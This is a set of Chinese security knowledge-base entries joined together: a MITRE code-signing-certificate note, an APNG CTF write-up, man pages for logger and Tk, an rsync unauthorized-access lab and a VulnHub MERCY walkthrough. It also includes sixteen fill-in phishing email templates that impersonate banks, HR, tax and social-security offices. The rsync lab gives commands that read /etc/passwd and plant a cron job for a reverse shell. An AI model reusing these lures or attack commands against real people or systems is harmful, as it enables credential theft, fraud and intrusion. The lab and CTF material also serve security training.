攻击者可能会创建自签名代码签名证书,这些证书可在攻击目标期间使用。代码签名是对可执行文件和脚本进行数字签名以确认软件作者并保证代码未被更改或损坏的过程。代码签名为开发人员的程序提供了一定程度的真实性,并保证程序未被篡改。用户或安全工具可能比未签名的代码更信任签名的代码,即使他们不知道谁颁发了证书或作者是谁。
在代码签名之前,攻击者可能会开发自签名代码签名证书以用于操作。
## 测试案例
暂无,仅提供辅助理解案例:
恶意软件团伙盗取大量证书用来绕过代码签名检查
<https://www.anquanke.com/post/id/83654>
恶意病毒伪造微软等签名绕过安全软件检测后疯狂挖矿
<https://www.landiannews.com/archives/47396.html>
## 检测日志
无法有效监测
## 测试复现
无
## 测试留痕
无
## 检测规则/思路
无
## 建议
### 缓解措施
这种技术不容易用预防控制来缓解,因为它是基于企业防御和控制范围之外的行为。
### 检测
大部分此类活动将在目标组织的可见性之外进行,因此很难检测到这种行为。检测工作可能集中在相关的后续行为上,例如代码签名或安装根证书。
## 参考推荐
MITRE-ATT&CK-T1587-002
<https://attack.mitre.org/techniques/T1587/002/>
恶意软件团伙盗取大量证书用来绕过代码签名检查
<https://www.anquanke.com/post/id/83654>
恶意病毒伪造微软等签名绕过安全软件检测后疯狂挖矿
<https://www.landiannews.com/archives/47396.html>
|
sec-knowleage
|
## p1ng (Forensics, 121p)
###ENG
[PL](#pl-version)
We are given interesting file, that looks like regular png file.

Though your browser may or may not support it. Because (surprise!) it's not regular png file - it's so called APNG file (animated png). After we discovered it (using tweakpng) we tried to unpack all the frames with available tools. Unfortunately, no ready-to-use program was able to unpack this image (i'm not sure why). So we hacked something in PHP, using stackoverflow of course:
```php
<?php
function splitapng($data) {
$parts = array();
// Save the PNG signature
$signature = substr($data, 0, 8);
$offset = 8;
$size = strlen($data);
while ($offset < $size) {
// Read the chunk length
$length = substr($data, $offset, 4);
$offset += 4;
// Read the chunk type
$type = substr($data, $offset, 4);
$offset += 4;
// Unpack the length and read the chunk data including 4 byte CRC
$ilength = unpack('Nlength', $length);
$ilength = $ilength['length'];
$chunk = substr($data, $offset, $ilength+4);
$offset += $ilength+4;
if ($type == 'IHDR')
$header = $length . $type . $chunk; // save the header chunk
else if ($type == 'IEND')
$end = $length . $type . $chunk; // save the end chunk
else if ($type == 'IDAT')
$parts[] = $length . $type . $chunk; // save the first frame
else if ($type == 'fdAT') {
// Animation frames need a bit of tweaking.
// We need to drop the first 4 bytes and set the correct type.
$length = pack('N', $ilength-4);
$type = 'IDAT';
$chunk = substr($chunk,4);
$parts[] = $length . $type . $chunk;
}
}
// Now we just add the signature, header, and end chunks to every part.
for ($i = 0; $i < count($parts); $i++) {
$parts[$i] = $signature . $header . $parts[$i] . $end;
}
return $parts;
}
$filename = 'p1ng';
$handle = fopen($filename, 'rb');
$filesize = filesize($filename);
$data = fread($handle, $filesize);
fclose($handle);
$parts = splitapng($data);
for ($i = 0; $i < count($parts); $i++) {
$handle = fopen("part-$i.png",'wb');
fwrite($handle,$parts[$i]);
fclose($handle);
}
```
To be honest, we have stolen this script from SO almost completely.
Nevertheless, after execution we had a lot of chunks on disk:





















(If you see only first chunk, that's because your browser rejects chunks with invalid CRC. Tell your browser to chill out).
And, with a bit of determination, we could just read a flag from them:
`ASIS{As_l0n9_4s_CTF_3x1sts_th3r3_w1ll_b3_ASIS_4nd_4s_l0n9_4s_ASIS_3x1sts_th3r3_w1ll_b3_PNG!}`
###PL version
Dostajemy w zadaniu ciekawy plik, który wygląda jak obrazek png:

Powinniście go zobaczyć, jeśli wasza przeglądarka go obsługuje, bo - niespodzianka - to nie jest zwykły plik png. Plik jest w formacie APNG (animated png). Kiedy to odkryliśmy (używając programu tweakpng), spróbowaliśmy go odpakować na poszczególne ramki, używajac gotowych narzędzi znalezionych w internecie. Niestety, wszystkie poległy - nie jestem pewien dlaczego. Dlatego napisaliśmy na szybko skrypt w PHP:
```php
<?php
function splitapng($data) {
$parts = array();
// Save the PNG signature
$signature = substr($data, 0, 8);
$offset = 8;
$size = strlen($data);
while ($offset < $size) {
// Read the chunk length
$length = substr($data, $offset, 4);
$offset += 4;
// Read the chunk type
$type = substr($data, $offset, 4);
$offset += 4;
// Unpack the length and read the chunk data including 4 byte CRC
$ilength = unpack('Nlength', $length);
$ilength = $ilength['length'];
$chunk = substr($data, $offset, $ilength+4);
$offset += $ilength+4;
if ($type == 'IHDR')
$header = $length . $type . $chunk; // save the header chunk
else if ($type == 'IEND')
$end = $length . $type . $chunk; // save the end chunk
else if ($type == 'IDAT')
$parts[] = $length . $type . $chunk; // save the first frame
else if ($type == 'fdAT') {
// Animation frames need a bit of tweaking.
// We need to drop the first 4 bytes and set the correct type.
$length = pack('N', $ilength-4);
$type = 'IDAT';
$chunk = substr($chunk,4);
$parts[] = $length . $type . $chunk;
}
}
// Now we just add the signature, header, and end chunks to every part.
for ($i = 0; $i < count($parts); $i++) {
$parts[$i] = $signature . $header . $parts[$i] . $end;
}
return $parts;
}
$filename = 'p1ng';
$handle = fopen($filename, 'rb');
$filesize = filesize($filename);
$data = fread($handle, $filesize);
fclose($handle);
$parts = splitapng($data);
for ($i = 0; $i < count($parts); $i++) {
$handle = fopen("part-$i.png",'wb');
fwrite($handle,$parts[$i]);
fclose($handle);
}
```
Tak szczerze mówiąc, to bardziej ukradliśmy ten skrypt z SO niż `napisaliśmy`.
Tak czy inaczej, po wykonaniu tego skryptu otrzymaliśmy wiele chunków na dysku:





















(Jeśli widzisz tylko jeden obrazek, to dlatego że Twoja przeglądarka odrzuca obrazy z nieprawidłowym CRC. Powiedz swojej przeglądarce żeby wyluzowała.)
I, z odpowiednią determinacją, byliśmy w stanie odczytać flagę:
`ASIS{As_l0n9_4s_CTF_3x1sts_th3r3_w1ll_b3_ASIS_4nd_4s_l0n9_4s_ASIS_3x1sts_th3r3_w1ll_b3_PNG!}`
|
sec-knowleage
|
# 网络钓鱼
## 简介
网络钓鱼是一种通过网络诈骗的手段获取用户的敏感信息(如银行卡号、密码、个人资料等)的恶意活动。它通常通过电子邮件、社交媒体或网站等方式进行,伪装成一些真实的机构或个人发送消息,诱导用户点击链接或提交信息。
钓鱼邮件可以是以紧急或关键信息为主题的,例如涉及银行卡挂失、在线账户紧急更新、中奖通知等。钓鱼链接可能会通过假冒的网站或登录页面收集用户的敏感信息。
鱼叉式网络钓鱼(Spear Phishing)是一种特殊的网络钓鱼技巧,旨在针对具体的个人或组织进行攻击,通过伪装为信任的人或组织发送恶意电子邮件,以获取敏感信息。它是一种更具破坏性的网络钓鱼方式,因为攻击者针对的是特定的目标,并利用从该目标获得的信息进行攻击,从而使该攻击更有可能成功。
攻击者通常会从网络或社交媒体收集一些有关该目标的个人信息,如名字,公司,职位,电子邮件地址等,并利用这些信息在电子邮件中伪装成信任的人或组织。攻击者可能要求接收者提供敏感信息,如密码,银行账号,信用卡信息等,或者附带恶意软件,如病毒,蠕虫,木马等,以便获得控制权。
捕鲸攻击(Whaling Attack)是指黑客针对高层管理人员,特别是公司首席执行官(CEO),财务总监(CFO)和法务总监(CLO)等的网络攻击。这种攻击通常会通过假装来自熟悉的发件人或管理人员,提出一些紧急或关键的任务,让高层管理人员点击邮件中的链接或下载附件,从而窃取关键信息或植入恶意软件。这种攻击方式非常高效,因为高层管理人员具有较高的权限和敏感信息,因此是黑客的重要目标。
> 鱼叉式网络钓鱼和捕鲸攻击的区别主要在于目的和手段上的差异。
>
> 鱼叉式网络钓鱼是指通过欺骗手段让用户错误地点击某些链接,从而在不知情的情况下将用户的私人信息(如用户名、密码、信用卡信息)泄露给攻击者。
>
> 捕鲸攻击则是通过攻击者伪装成认识的人或者机构来获取用户的信任,从而骗取用户的私人信息。这种攻击通常是通过电子邮件、短信或即时通讯工具等方式进行的。
>
> 总的来说,鱼叉式网络钓鱼的攻击手段更加简单直接,而捕鲸攻击则需要更高认知水平,更复杂的伪装手段。
## 话术模板
①银行账号
```
邮件主题:关于您的帐户问题
发件人:John Doe support@bankofamerica.com
尊敬的客户:
我是银行美国的客户支持团队成员。最近,我们收到了关于您的帐户的报告,说明您的帐户存在一些安全问题。为了确保您的资金安全,我们需要您立即更新您的帐户信息。
请点击以下链接更新您的帐户信息:[链接]
请勿忽略此重要消息,否则您的帐户将受到更多的风险。如果您有任何问题,请随时联系我们。
谢谢您的合作!
祝好,
John Doe
银行美国客户支持团队
```
②工资单
```
邮件主题:关于您的工资单更新
发件人:Jane Smith hr@acme.com
尊敬的员工:
我是ACME公司人力资源部门的成员。我们收到了关于您的工资单的报告,显示您的工资单存在一些错误。为了确保您的工资结算正确,我们需要您立即更新您的工资单信息。
请点击以下链接更新您的工资单信息:[链接]
请勿忽略此重要消息,否则您的工资结算可能会出现错误。如果您有任何问题,请随时联系我们。
谢谢您的合作!
祝好,
Jane Smith
ACME人力资源部门
```
③社保冻结
```
邮件主题:关于您的社保账户被冻结的通知
发件人:John Doe socialsecurity@gov.com
尊敬的员工:
我是政府社保部门的成员。很遗憾地告诉您,我们发现您的社保账户可能存在不当使用。为了确保您的账户安全,我们已决定暂时冻结您的账户。
请点击以下链接解除冻结:[链接]
请勿忽略此通知,否则您的社保账户将永久冻结。如果您有任何问题,请随时联系我们。
谢谢您的合作!
祝好,
John Doe
政府社保部门
```
④工资涨薪
```
邮件主题:秘密工资涨薪通知
发件人:Jane Smith hr@company.com
尊敬的员工:
我是公司人力资源部的成员。很高兴告诉您,因您过去一年的出色表现,公司决定将您的工资提高。
请勿向任何其他员工透露此信息,因为这是一项秘密涨薪计划。如果您有任何问题,请私信我们。
祝好,
Jane Smith
公司人力资源部
```
⑤会议材料
```
邮件主题:会议资料附件
发件人:Tom Johnson tom.johnson@meeting.com
尊敬的员工:
我是一名会议组织者。我想告诉您,我们已经准备好了一些重要的会议资料附件,以便您能够更好地准备会议。
请点击此链接下载附件: [伪造的链接]
如果您有任何问题,请随时与我联系。
谢谢,
Tom Johnson
会议组织者
```
⑥退税
```
邮件主题:税务异常通知
发件人:John Smith john.smith@taxdepartment.com
尊敬的用户:
我是税务部门的工作人员。很抱歉地通知您,我们发现了您的税务记录中的一个异常。为了保护您的利益,我们需要您确认一些信息以便于退税。
请点击此链接查看详细信息并退税: [伪造的链接]
如果您有任何问题,请随时与我联系。
谢谢,
John Smith
税务工作人员
```
⑦账号异常
```
邮件主题:系统账号异常通知
发件人:admin admin@system.com
尊敬的用户:
我是系统管理员。很抱歉地通知您,我们发现了您的系统账号出现异常。为了保护您的账号安全,我们需要您提供账号验证。
请点击此链接进行验证: [伪造的链接]
如果您有任何问题,请随时与我联系。
谢谢,
管理员
```
⑧木马病毒
```
邮件主题:重要通知:检测到电脑病毒
发件人:admin admin@system.com
尊敬的用户:
我是系统管理员。很抱歉地通知您,我们检测到您的电脑有病毒。为了确保您的电脑安全,我们需要远程接入您的电脑以清除病毒。
请点击此链接以允许我们进行远程接入: [伪造的链接]
如果您有任何问题,请随时与我联系。
谢谢,
管理员
```
⑨招聘
```
邮件主题:请下载您的简历
发件人:招聘经理 hr@company.com
尊敬的用户:
我是公司的招聘经理。很高兴收到您的简历。在进行评估前,我们需要您下载您的简历并确认一下。
请点击此链接以下载您的简历: [伪造的链接]
如果您有任何问题,请随时与我联系。
谢谢,
招聘经理
```
⑩放假通知
```
邮件主题:关于公司放假通知
发件人:经理 manager@company.com
尊敬的员工:
我是公司的经理,非常高兴地宣布公司将在今年的暑假期间放假。具体安排如下:
从7月1日至7月7日放假7天。
请您确认您的放假安排并下载放假通知的附件。
请点击此链接下载放假通知: [伪造的链接]
如果您有任何问题,请随时与我联系。
谢谢,
经理
```
⑪咨询和商务合作
```
主题:咨询与商务合作机会
尊敬的[收件人名称]:
我是[发件人名称],来自[公司名称],我们专门为客户提供高效、实用的咨询服务和商务合作机会。
我们获得了关于您公司的一些有关信息,并且认为您公司可能会对我们的服务感兴趣。因此,我想邀请您与我们联系,进行一次商务洽谈,并且向您详细介绍我们的服务。
如果您对我们的服务感兴趣,请回复此邮件,告诉我们您的兴趣,以及您认为合适的联系时间。
谢谢!
[发件人名称]
[公司名称]
```
⑫举报材料
```
主题:举报重要信息
亲爱的(收件人名称),
我是(骗子名称),最近我发现了一个不道德的行为,需要您的帮助。作为一个有良心的公民,我决定通过邮件向公司举报这一行为。
请您点击附件下载这份举报材料,然后把它发送到(骗子邮箱地址)。我将非常感激您对公司的贡献。
请保密这份信息,因为我不想把这一事件公开。
谢谢!
(骗子名称)
```
⑬疫情防控
```
主题:关于疫情防控的紧急通知
亲爱的 [收件人名字],
我是 [管理员名字],作为公司的管理员,我非常关心大家的安全健康。在这个特殊的时刻,我们需要更加紧密地配合,以防止疫情的传播。
有人告诉我们,有员工感染了新冠病毒。为了保护大家的安全,我们需要立刻对所有员工的身体状况进行检测。
请立刻点击以下链接 [恶意链接],下载需要提交的文件并填写详细信息,以确保您的安全。
请认真对待这件事,并尽快完成。
谢谢!
[管理员名字]
```
⑭中奖通知
```
尊敬的用户:
您好!感谢您一直以来对我们公司的支持和关注。现在,我们诚挚地告诉您,您在本公司活动中获得了苹果手机的中奖奖励。
恭喜您!您是我们幸运的获奖者!作为我们珍视的顾客,您将获得一款最新款的苹果手机。您只需回复本邮件并填写相应的邮寄信息,我们就会尽快将手机邮寄给您。
如果您需要任何关于奖励的信息,请随时与我们联系。
非常感谢您对我们的支持和信任,再次祝贺您的中奖!
谢谢!
本公司
```
⑮单位通告
```
主题:单位通告
尊敬的员工:
大家好!
本单位希望通过这封邮件向大家发布一些重要的通知。
请您注意:
本单位的办公时间将从明天起更改为从9点到17点。
为了提高工作效率,本单位将引入一项新的员工评估制度。每个员工都将按照工作表现被评估。
本单位将在下周举办一次新员工培训。如果您有兴趣参加,请与HR部门联系。
本单位将在未来几个月内引入一项全新的电子邮件系统。请大家准备好。
谢谢!
此致
敬礼
单位管理层
```
⑯桃色新闻
```
```
⑰实时热点
```
```
|
sec-knowleage
|
logger
===
在系统日志中记录相应条目
## 补充说明
**logger命令** 是用于往系统中写入日志,他提供一个shell命令接口到syslog系统模块
### 语法
```shell
logger [options] [message]
```
### 选项
```shell
-T, --tcp 使用流连接(TCP)
-d, --udp 使用数据报(UDP)
-i, --id 逐行记录每一次logger的进程ID
-f, --file <file> 记录特定的文件
-h, --help 显示帮助文本并退出
-n, --server <name> 写入指定的远程syslog服务器,使用UDP代替内装式syslog的例程
-P, --port <port> 使用指定的UDP端口。默认的端口号是514
-p, --priority <prio> 指定输入消息的优先级,优先级可以是数字或者指定为 " facility.level" 的格式。
比如:" -p local3.info " local3 这个设备的消息级别为 info。
默认级别是 "user.notice"
-s, --stderr 输出标准错误到系统日志。
-t, --tag <tag> 指定标记记录
-u, --socket <socket> 写入指定的socket,而不是到内置系统日志例程。
-V, --version 输出版本信息并退出
```
### 例子
```shell
logger -p syslog.info "backup.sh is starting"
```
|
sec-knowleage
|
'\"
'\" Copyright (c) 1992 The Regents of the University of California.
'\" Copyright (c) 1994-1996 Sun Microsystems, Inc.
'\"
'\" See the file "license.terms" for information on usage and redistribution
'\" of this file, and for a DISCLAIMER OF ALL WARRANTIES.
'\"
'\" RCS: @(#) $Id: tk.n,v 1.2 2003/11/24 05:10:00 bbbush Exp $
'\"
'\" The definitions below are for supplemental macros used in Tcl/Tk
'\" manual entries.
'\"
'\" .AP type name in/out ?indent?
'\" Start paragraph describing an argument to a library procedure.
'\" type is type of argument (int, etc.), in/out is either "in", "out",
'\" or "in/out" to describe whether procedure reads or modifies arg,
'\" and indent is equivalent to second arg of .IP (shouldn't ever be
'\" needed; use .AS below instead)
'\"
'\" .AS ?type? ?name?
'\" Give maximum sizes of arguments for setting tab stops. Type and
'\" name are examples of largest possible arguments that will be passed
'\" to .AP later. If args are omitted, default tab stops are used.
'\"
'\" .BS
'\" Start box enclosure. From here until next .BE, everything will be
'\" enclosed in one large box.
'\"
'\" .BE
'\" End of box enclosure.
'\"
'\" .CS
'\" Begin code excerpt.
'\"
'\" .CE
'\" End code excerpt.
'\"
'\" .VS ?version? ?br?
'\" Begin vertical sidebar, for use in marking newly-changed parts
'\" of man pages. The first argument is ignored and used for recording
'\" the version when the .VS was added, so that the sidebars can be
'\" found and removed when they reach a certain age. If another argument
'\" is present, then a line break is forced before starting the sidebar.
'\"
'\" .VE
'\" End of vertical sidebar.
'\"
'\" .DS
'\" Begin an indented unfilled display.
'\"
'\" .DE
'\" End of indented unfilled display.
'\"
'\" .SO
'\" Start of list of standard options for a Tk widget. The
'\" options follow on successive lines, in four columns separated
'\" by tabs.
'\"
'\" .SE
'\" End of list of standard options for a Tk widget.
'\"
'\" .OP cmdName dbName dbClass
'\" Start of description of a specific option. cmdName gives the
'\" option's name as specified in the class command, dbName gives
'\" the option's name in the option database, and dbClass gives
'\" the option's class in the option database.
'\"
'\" .UL arg1 arg2
'\" Print arg1 underlined, then print arg2 normally.
'\"
'\" RCS: @(#) $Id: tk.n,v 1.2 2003/11/24 05:10:00 bbbush Exp $
'\"
'\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages.
.if t .wh -1.3i ^B
.nr ^l \n(.l
.ad b
'\" # Start an argument description
.de AP
.ie !"\\$4"" .TP \\$4
.el \{\
. ie !"\\$2"" .TP \\n()Cu
. el .TP 15
.\}
.ta \\n()Au \\n()Bu
.ie !"\\$3"" \{\
\&\\$1 \\fI\\$2\\fP (\\$3)
.\".b
.\}
.el \{\
.br
.ie !"\\$2"" \{\
\&\\$1 \\fI\\$2\\fP
.\}
.el \{\
\&\\fI\\$1\\fP
.\}
.\}
..
'\" # define tabbing values for .AP
.de AS
.nr )A 10n
.if !"\\$1"" .nr )A \\w'\\$1'u+3n
.nr )B \\n()Au+15n
.\"
.if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n
.nr )C \\n()Bu+\\w'(in/out)'u+2n
..
.AS Tcl_Interp Tcl_CreateInterp in/out
'\" # BS - start boxed text
'\" # ^y = starting y location
'\" # ^b = 1
.de BS
.br
.mk ^y
.nr ^b 1u
.if n .nf
.if n .ti 0
.if n \l'\\n(.lu\(ul'
.if n .fi
..
'\" # BE - end boxed text (draw box now)
.de BE
.nf
.ti 0
.mk ^t
.ie n \l'\\n(^lu\(ul'
.el \{\
.\" Draw four-sided box normally, but don't draw top of
.\" box if the box started on an earlier page.
.ie !\\n(^b-1 \{\
\h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul'
.\}
.el \}\
\h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul'
.\}
.\}
.fi
.br
.nr ^b 0
..
'\" # VS - start vertical sidebar
'\" # ^Y = starting y location
'\" # ^v = 1 (for troff; for nroff this doesn't matter)
.de VS
.if !"\\$2"" .br
.mk ^Y
.ie n 'mc \s12\(br\s0
.el .nr ^v 1u
..
'\" # VE - end of vertical sidebar
.de VE
.ie n 'mc
.el \{\
.ev 2
.nf
.ti 0
.mk ^t
\h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n'
.sp -1
.fi
.ev
.\}
.nr ^v 0
..
'\" # Special macro to handle page bottom: finish off current
'\" # box/sidebar if in box/sidebar mode, then invoked standard
'\" # page bottom macro.
.de ^B
.ev 2
'ti 0
'nf
.mk ^t
.if \\n(^b \{\
.\" Draw three-sided box if this is the box's first page,
.\" draw two sides but no top otherwise.
.ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c
.el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c
.\}
.if \\n(^v \{\
.nr ^x \\n(^tu+1v-\\n(^Yu
\kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c
.\}
.bp
'fi
.ev
.if \\n(^b \{\
.mk ^y
.nr ^b 2
.\}
.if \\n(^v \{\
.mk ^Y
.\}
..
'\" # DS - begin display
.de DS
.RS
.nf
.sp
..
'\" # DE - end display
.de DE
.fi
.RE
.sp
..
'\" # SO - start of list of standard options
.de SO
.SH "STANDARD OPTIONS"
.LP
.nf
.ta 5.5c 11c
.ft B
..
'\" # SE - end of list of standard options
.de SE
.fi
.ft R
.LP
See the \\fBoptions\\fR manual entry for details on the standard options.
..
'\" # OP - start of full description for a single option
.de OP
.LP
.nf
.ta 4c
Command-Line Name: \\fB\\$1\\fR
Database Name: \\fB\\$2\\fR
Database Class: \\fB\\$3\\fR
.fi
.IP
..
'\" # CS - begin code excerpt
.de CS
.RS
.nf
.ta .25i .5i .75i 1i
..
'\" # CE - end code excerpt
.de CE
.fi
.RE
..
.de UL
\\$1\l'|0\(ul'\\$2
..
.TH tk 3tk 8.3 Tk "Tk Built-In Commands"
.BS
'\" Note: do not modify the .SH NAME line immediately below!
.SH NAME
tk \- 操纵 Tk 内部状态
.SH "总览 SYNOPSIS"
\fBtk\fR \fIoption \fR?\fIarg arg ...\fR?
.BE
.SH "描述 DESCRIPTION"
.PP
\fBtk\fR 命令提供对 Tk 内部状态的杂类元素的访问。这个命令操纵的多数信息适合于作为一个整体的应用(程序),或者是一个屏幕或显示器,而不是一个特定的窗口。依赖于 \fIoption\fR 参数,这个命令可以接受的多种不同的的形式。合法的形式有:
.TP
\fBtk appname \fR?\fInewName\fR?
如果未指定 \fInewName\fR,则这个命令返回这个应用(程序)的名字(这个名字可以用在 \fBsend\fR 命令中来与应用通信)。如果指定了 \fInewName\fR,则把应用的名字变更为 \fInewName\fR。如果给定名字已经使用了,则添加“\fB#2\fR”或“\fB#3\fR”形式的后缀来保持名字的唯一性。这个命令的结果是实际上选择的名字。\fInewName\fR 不应该开始于大写字符。这将妨碍选项处理,因为以大写开头的名字被假定为类;结果是 Tk 可能找不到给应用的一些选项。如果通过删除 \fBsend\fR 而停用了发送,这个命令将重新启用它们并建立 \fBsend\fR 命令。
.TP
\fBtk scaling \fR?\fB\-displayof \fIwindow\fR? ?\fInumber\fR?
.
设置和查询 Tk 使用的当前的比例(缩放)因子,它用于在物理单位(如点、英寸、或毫米)和象素之间进行转换。\fInumber\fR 参数是指定在 \fIwindow \fR的显示器上每点的象素数的一个浮点数。如果省略了 \fIwindow\fR 参数,则它缺省为主窗口。如果省略了 \fInumber\fR 参数,则返回比例因子的当前值。
.RS
.PP
“点” (``point'') 是等于 1/72 英寸的一个度量单位。比例因子 1.0 对应于每点 1 象素,这等价与一个 72 dpi 的监视器。比例因子 1.25 意味着每点 1.25 个象素,这是 90 dpi 监视器的设置;在一个 72 dpi 监视器上设置比例因子为 1.25 将导致在应用中显示的所有东西是正常的 1.25 倍。在应用启动的时候,基于安装的监视器的特性类设置比例因子的初始值,但可以在任何时候变更。使用变更了的比例因子的度量将使用新的比例因子,但对现存的组件是否动态的调整自身大小来适应新的比例因子未做规定。
.RE
.VS 8.3
.TP
\fBtk useinputmethods \fR?\fB\-displayof \fIwindow\fR? ?\fIboolean\fR?
.
设置和查询 Tk 是否应当使用 XIM (X 输入方法:X Input Methods)来过滤事件的状态。在一些地域(如: 日本、高丽)中使用 XIM 来处理特殊的输入设备。这个特征只在 X 上重要。如果不能获得 XIM 支持,它总是返回 0。如果省略了 \fIwindow\fR 参数,则缺省为主窗口。如果省略了 \fIboolean\fR 参数,则返回当前状态。
.VE
.SH "关键字 KEYWORDS"
application name, send
.SH "[中文版维护人]"
.B 寒蝉退士
.SH "[中文版最新更新]"
.B 2002/05/12
.SH "《中国 Linux 论坛 man 手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
# rsync 未授权访问漏洞
rsync是Linux下一款数据备份工具,支持通过rsync协议、ssh协议进行远程文件传输。其中rsync协议默认监听873端口,如果目标开启了rsync服务,并且没有配置ACL或访问密码,我们将可以读写目标服务器文件。
## 漏洞测试
编译及运行rsync服务器:
```
docker compose build
docker compose up -d
```
环境启动后,我们用rsync命令访问之:
```
rsync rsync://your-ip:873/
```
可以查看模块名列表:

如上图,有一个src模块,我们再列出这个模块下的文件:
```
rsync rsync://your-ip:873/src/
```

这是一个Linux根目录,我们可以下载任意文件:
```
rsync -av rsync://your-ip:873/src/etc/passwd ./
```
或者写入任意文件:
```
rsync -av shell rsync://your-ip:873/src/etc/cron.d/shell
```
我们写入了一个cron任务,成功反弹shell:

|
sec-knowleage
|
# digitalworld.local: MERCY v2
> https://download.vulnhub.com/digitalworld/MERCY-v2.zip
靶场IP:`192.168.111.158`
扫描对外IP地址
```
┌──(root💀kali)-[~]
└─# nmap -sV -p1-65535 192.168.111.158
Starting Nmap 7.91 ( https://nmap.org ) at 2022-08-17 09:12 EDT
Nmap scan report for 192.168.111.158
Host is up (0.0029s latency).
Not shown: 65525 closed ports
PORT STATE SERVICE VERSION
22/tcp filtered ssh
53/tcp open domain ISC BIND 9.9.5-3ubuntu0.17 (Ubuntu Linux)
80/tcp filtered http
110/tcp open pop3?
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp open imap Dovecot imapd
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
993/tcp open ssl/imaps?
995/tcp open ssl/pop3s?
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 00:0C:29:C0:C2:D8 (VMware)
Service Info: Host: MERCY; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 163.26 seconds
```
查看SMB共享
```
┌──(root💀kali)-[~]
└─# smbclient -L //192.168.111.158
Password for [WORKGROUP\root]:
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
qiu Disk
IPC$ IPC IPC Service (MERCY server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.
Server Comment
--------- -------
Workgroup Master
--------- -------
WORKGROUP
```
浏览器访问8080端口

找到`robots.txt`文件


访问`/tryharder/tryharder`,找到一串加密字符串,并且使用base64解析。
```
┌──(root💀kali)-[~]
└─# echo 'SXQncyBhbm5veWluZywgYnV0IHdlIHJlcGVhdCB0aGlzIG92ZXIgYW5kIG92ZXIgYWdhaW46IGN5YmVyIGh5Z2llbmUgaXMgZXh0cmVtZWx5IGltcG9ydGFudC4gUGxlYXNlIHN0b3Agc2V0dGluZyBzaWxseSBwYXNzd29yZHMgdGhhdCB3aWxsIGdldCBjcmFja2VkIHdpdGggYW55IGRlY2VudCBwYXNzd29yZCBsaXN0LgoKT25jZSwgd2UgZm91bmQgdGhlIHBhc3N3b3JkICJwYXNzd29yZCIsIHF1aXRlIGxpdGVyYWxseSBzdGlja2luZyBvbiBhIHBvc3QtaXQgaW4gZnJvbnQgb2YgYW4gZW1wbG95ZWUncyBkZXNrISBBcyBzaWxseSBhcyBpdCBtYXkgYmUsIHRoZSBlbXBsb3llZSBwbGVhZGVkIGZvciBtZXJjeSB3aGVuIHdlIHRocmVhdGVuZWQgdG8gZmlyZSBoZXIuCgpObyBmbHVmZnkgYnVubmllcyBmb3IgdGhvc2Ugd2hvIHNldCBpbnNlY3VyZSBwYXNzd29yZHMgYW5kIGVuZGFuZ2VyIHRoZSBlbnRlcnByaXNlLg==' | base64 -d
It's annoying, but we repeat this over and over again: cyber hygiene is extremely important. Please stop setting silly passwords that will get cracked with any decent password list.
Once, we found the password "password", quite literally sticking on a post-it in front of an employee's desk! As silly as it may be, the employee pleaded for mercy when we threatened to fire her.
No fluffy bunnies for those who set insecure passwords and endanger the enterprise.
```
> 这很烦人,但我们一遍又一遍地重复:网络卫生非常重要。 请停止设置愚蠢的密码,这些密码会被任何体面的密码列表破解。
>
> 有一次,我们找到了密码"password",简直就是贴在员工办公桌前的便利贴上! 尽管这可能很愚蠢,但当我们威胁要解雇她时,这位员工恳求宽恕。
>
> 对于那些设置不安全密码并危及企业的人来说,没有毛茸茸的兔子。

此消息告诉我们用户的密码设置为,`password`因此我们知道有 4 个用户,并且我们看到一个名为的 smb 共享`qiu`,它是一个用户名,因此我们可以尝试此密码是否适合该用户
```
┌──(root💀kali)-[~]
└─# smbmap -u 'qiu' -p 'password' -H 192.168.111.158
[+] IP: 192.168.111.158:445 Name: 192.168.111.158
Disk Permissions Comment
---- ----------- -------
print$ READ ONLY Printer Drivers
qiu READ ONLY
IPC$ NO ACCESS IPC Service (MERCY server (Samba, Ubuntu))
```
这是该用户的密码,因此我们可以读取共享
```
┌──(root💀kali)-[~]
└─# smbclient -U 'qiu' \\\\192.168.111.158\\qiu
Password for [WORKGROUP\qiu]:
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Fri Aug 31 15:07:00 2018
.. D 0 Mon Nov 19 11:59:09 2018
.bashrc H 3637 Sun Aug 26 09:19:34 2018
.public DH 0 Sun Aug 26 10:23:24 2018
.bash_history H 163 Fri Aug 31 15:11:34 2018
.cache DH 0 Fri Aug 31 14:22:05 2018
.private DH 0 Sun Aug 26 12:35:34 2018
.bash_logout H 220 Sun Aug 26 09:19:34 2018
.profile H 675 Sun Aug 26 09:19:34 2018
19213004 blocks of size 1024. 16328196 blocks available
```
转到`.private/opensesame`文件夹,我们可以看到一个配置文件

此配置文件用于 smb,我们可以在此处查看端口敲击配置
```
[options]
UseSyslog
[openHTTP]
sequence = 159,27391,4
seq_timeout = 100
command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 80 -j ACCEPT
tcpflags = syn
[closeHTTP]
sequence = 4,27391,159
seq_timeout = 100
